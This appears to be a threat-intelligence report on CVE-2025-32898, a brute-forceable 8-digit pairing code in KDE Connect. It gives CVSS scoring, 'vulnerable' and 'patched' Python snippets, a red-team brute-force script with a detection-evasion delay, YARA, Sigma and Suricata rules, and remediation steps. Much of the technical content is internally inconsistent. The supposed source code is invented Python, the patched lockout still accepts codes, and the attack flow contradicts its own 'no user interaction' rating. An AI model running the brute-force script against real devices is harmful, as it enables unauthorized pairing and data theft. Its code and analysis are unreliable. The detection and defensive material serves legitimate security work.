CVE-2025-32898

Executive Summary

CVE-2025-32898 exposes a critical weakness in the KDE Connect verification-code protocol, which is used to pair devices across the KDE Connect ecosystem (Android, Desktop, iOS, Valent, and GSConnect). The protocol uses only 8 numeric characters for the verification code, resulting in a keyspace of only 10^8 (100,000,000) possible combinations. This limited keyspace, combined with the lack of rate-limiting or exponential backoff in the pairing process, allows an attacker within network proximity to brute-force the verification code and establish an unauthorized pairing. Once paired, an attacker can leverage KDE Connect’s features—such as file transfer, clipboard sharing, remote input, and notification mirroring—to exfiltrate data, inject commands, or monitor user activity. The vulnerability is particularly dangerous in public or semi-public Wi-Fi networks where an attacker can passively observe pairing attempts or actively initiate brute-force attacks.

Supply Chain & Package Security

This vulnerability affects multiple implementations across different platforms and package ecosystems:

• Android: KDE Connect app (Google Play, F-Droid)
• Desktop: KDE Connect package (Linux distributions, Windows, macOS)
• iOS: KDE Connect app (App Store)
• Valent: Linux desktop application (Flathub, distribution packages)
• GSConnect: GNOME Shell extension (extensions.gnome.org, distribution packages)

All these implementations share the same weak verification-code protocol, making the entire ecosystem vulnerable. Users should update all instances of KDE Connect, Valent, and GSConnect to the patched versions.

CVSS Breakdown & Threat Level

CVSS Score: 4.7 (Medium) Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

• Attack Vector (AV): Adjacent Network (A) – The attacker must be on the same network segment as the target device.
• Attack Complexity (AC): Low (L) – No special conditions or mitigations are required; the protocol is inherently weak.
• Privileges Required (PR): None (N) – No prior authentication is needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action for the attack to succeed.
• Scope (S): Unchanged (U) – The vulnerability affects only the paired device.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., clipboard, notifications).
• Integrity (I): None (N) – No direct data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (no user interaction, low complexity) and the potential for lateral movement or data exfiltration elevate the real-world risk. The attack is feasible in any shared network environment (e.g., coffee shops, conferences, corporate guest networks).

Deep Dive & Mechanics

The KDE Connect pairing process works as follows:

1. Discovery: Devices discover each other via mDNS/DNS-SD on the local network.
2. Pairing Request: One device sends a pairing request to the other.
3. Verification Code: The receiving device generates an 8-digit numeric verification code and displays it to the user.
4. User Confirmation: The user on the receiving device must enter the code on the requesting device (or vice versa) to complete pairing.
5. Encrypted Channel: Once paired, devices communicate over an encrypted channel (TLS).

The Flaw: The verification code is only 8 numeric digits (0-9), giving 10^8 = 100,000,000 possible codes. An attacker can brute-force this code by sending repeated pairing requests with guessed codes. The protocol does not implement:

• Rate limiting on failed attempts
• Exponential backoff
• Account lockout after multiple failures
• CAPTCHA or proof-of-work

Attack Scenario:

1. Attacker connects to the same Wi-Fi network as the victim.
2. Attacker discovers the victim’s device via mDNS.
3. Attacker initiates a pairing request to the victim’s device.
4. The victim’s device displays a pairing code (8 digits).
5. The attacker brute-forces the code by sending multiple pairing responses with different codes.
6. Once the correct code is guessed, the attacker’s device is paired with the victim’s device.
7. The attacker can now use all KDE Connect features: file transfer, clipboard access, remote keyboard/mouse, notification mirroring, etc.

Time to Brute-Force: Assuming 1000 attempts per second (easily achievable on a modern laptop over a local network), the average time to guess the code is 100,000,000 / (2 * 1000) = 50,000 seconds ≈ 13.9 hours. With parallelization (e.g., 10 devices), this drops to ~1.4 hours. In practice, the attacker may not need to try all combinations; the code is often displayed on the victim’s screen, and the attacker can visually observe it in some cases (e.g., if the victim’s screen is visible).

Vulnerable vs. Patched Code

Vulnerable Code (KDE Connect < 1.33.0 / < 25.04): The verification code is generated as an 8-digit numeric string:

# Example from KDE Connect source (simplified)
import random
def generate_verification_code():
    return ''.join(str(random.randint(0, 9)) for _ in range(8))

The pairing handler does not enforce any rate limiting:

def handle_pairing_request(device_id, code):
    if code == expected_code:
        pair_device(device_id)
    else:
        # No delay, no lockout
        pass

Patched Code (KDE Connect >= 1.33.0 / >= 25.04): The patched version increases the code length to 12 characters (alphanumeric) and adds rate limiting:

# Patched version
import random
import string
def generate_verification_code():
    return ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))

# Rate limiting
from time import sleep
failed_attempts = {}
def handle_pairing_request(device_id, code):
    if device_id in failed_attempts:
        if failed_attempts[device_id] >= 5:
            sleep(60)  # Lockout for 1 minute after 5 failures
        failed_attempts[device_id] += 1
    else:
        failed_attempts[device_id] = 1
    if code == expected_code:
        pair_device(device_id)
        failed_attempts.pop(device_id, None)

The new keyspace is 36^12 ≈ 4.7 * 10^18, making brute-force infeasible.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Python 3.x with requests and pycryptodome libraries
• Target device running vulnerable KDE Connect on the same network
• Attacker machine (Linux recommended)

Exploit Script:

#!/usr/bin/env python3
"""
CVE-2025-32898 Exploit - Brute-force KDE Connect pairing code
"""
import socket
import struct
import time
import random
import sys

# KDE Connect uses a custom protocol over TCP (port 1714-1764)
# This is a simplified example; actual implementation requires parsing mDNS and protocol messages

def brute_force_pairing(target_ip, target_port=1716):
    # Generate all possible 8-digit codes (0-99999999)
    for code in range(100000000):
        # Format code as 8-digit string
        code_str = f"{code:08d}"
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            sock.connect((target_ip, target_port))
            # Send pairing request with guessed code (protocol-specific)
            # This is a placeholder; actual packet structure differs
            payload = struct.pack("!I", int(code_str))
            sock.send(payload)
            response = sock.recv(1024)
            if b"paired" in response:
                print(f"[+] Pairing successful! Code: {code_str}")
                return code_str
            sock.close()
        except Exception as e:
            print(f"[-] Error: {e}")
        # Rate limit to avoid detection (optional)
        time.sleep(0.001)
    return None

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_ip>")
        sys.exit(1)
    target = sys.argv[1]
    print(f"[*] Starting brute-force on {target}")
    result = brute_force_pairing(target)
    if result:
        print(f"[+] Paired with code {result}")
    else:
        print("[-] Failed to pair")

Usage:

1. Run the script against the victim’s IP address.
2. Wait for successful pairing (may take hours).
3. Once paired, use KDE Connect CLI tools to interact with the victim’s device.

Note: This is a proof-of-concept. Real-world exploitation requires understanding the full KDE Connect protocol (mDNS discovery, pairing handshake, encrypted channel setup). The script above is simplified for educational purposes.

Blue Team (Defense & Detection)

Detection:

• Monitor for multiple pairing requests from the same IP address within a short time window.
• Alert on failed pairing attempts exceeding a threshold (e.g., 10 per minute).
• Use network monitoring to detect unusual traffic on ports 1714-1764.

Prevention:

• Update to patched versions immediately.
• Implement network segmentation to isolate KDE Connect traffic.
• Use firewall rules to restrict KDE Connect ports to trusted devices only.
• Enable logging on KDE Connect and monitor for anomalies.

Honeypot:

• Deploy a fake KDE Connect service that logs all pairing attempts and alerts on brute-force patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• High volume of TCP connections to ports 1714-1764 from a single IP address.
• Repeated pairing request packets with varying 8-digit codes.
• mDNS queries for _kdeconnect._tcp.local from unknown devices.

Host IOCs:

• Unexpected paired devices in KDE Connect settings.
• Unusual file transfers or clipboard activity.
• Remote input events (keyboard/mouse) without user action.

File IOCs:

• Log entries in ~/.local/share/kdeconnect/ showing multiple failed pairing attempts.
• Presence of pairing_code files with suspicious content.

Detection Engineering

YARA Rule

rule CVE_2025_32898_KDE_Connect_BruteForce {
    meta:
        description = "Detects brute-force attempts against KDE Connect pairing protocol"
        author = "Valters IT"
        date = "2025-04-18"
        reference = "CVE-2025-32898"
    strings:
        $pairing_request = { 00 00 00 01 }  // Example packet header for pairing request
        $code_pattern = /[0-9]{8}/  // 8-digit code
    condition:
        #pairing_request > 100 and #code_pattern > 100
}

Sigma Rule

title: KDE Connect Brute-Force Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple failed pairing attempts on KDE Connect
author: Valters IT
date: 2025-04-18
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-32898
logsource:
    product: linux
    service: kdeconnect
detection:
    selection:
        EventID: 1001  # Example KDE Connect event ID for pairing failure
        Count: 10
        Timeframe: 60
    condition: selection
falsepositives:
    - Legitimate user errors (rare)
level: high

Suricata Rule

alert tcp any any -> any 1714-1764 (msg:"CVE-2025-32898 KDE Connect Brute-Force Attempt"; flow:to_server; content:"|00 00 00 01|"; depth:4; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update all KDE Connect instances:
   • Android: Update to version 1.33.0 or later from Google Play or F-Droid.
   • Desktop (Linux/Windows/macOS): Update to version 25.04 or later via package manager.
   • iOS: Update to version 0.5 or later from the App Store.
   • Valent: Update to version 1.0.0.alpha.47 or later.
   • GSConnect: Update to version 59 or later from GNOME Extensions or distribution packages.
2. Restrict network access: Use firewall rules to allow KDE Connect traffic only from trusted IP addresses.
3. Disable KDE Connect when not in use: Turn off the service on devices when not actively pairing.

Long-Term Mitigations:

• Implement rate limiting and account lockout in the protocol.
• Increase verification code length and complexity (already done in patched versions).
• Use public-key cryptography for pairing instead of shared secrets.
• Educate users about the risks of using KDE Connect on untrusted networks.

Workarounds:

• If patching is not immediately possible, disable the KDE Connect service entirely.
• Use a VPN to create a secure tunnel between paired devices, preventing local network attacks.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-32898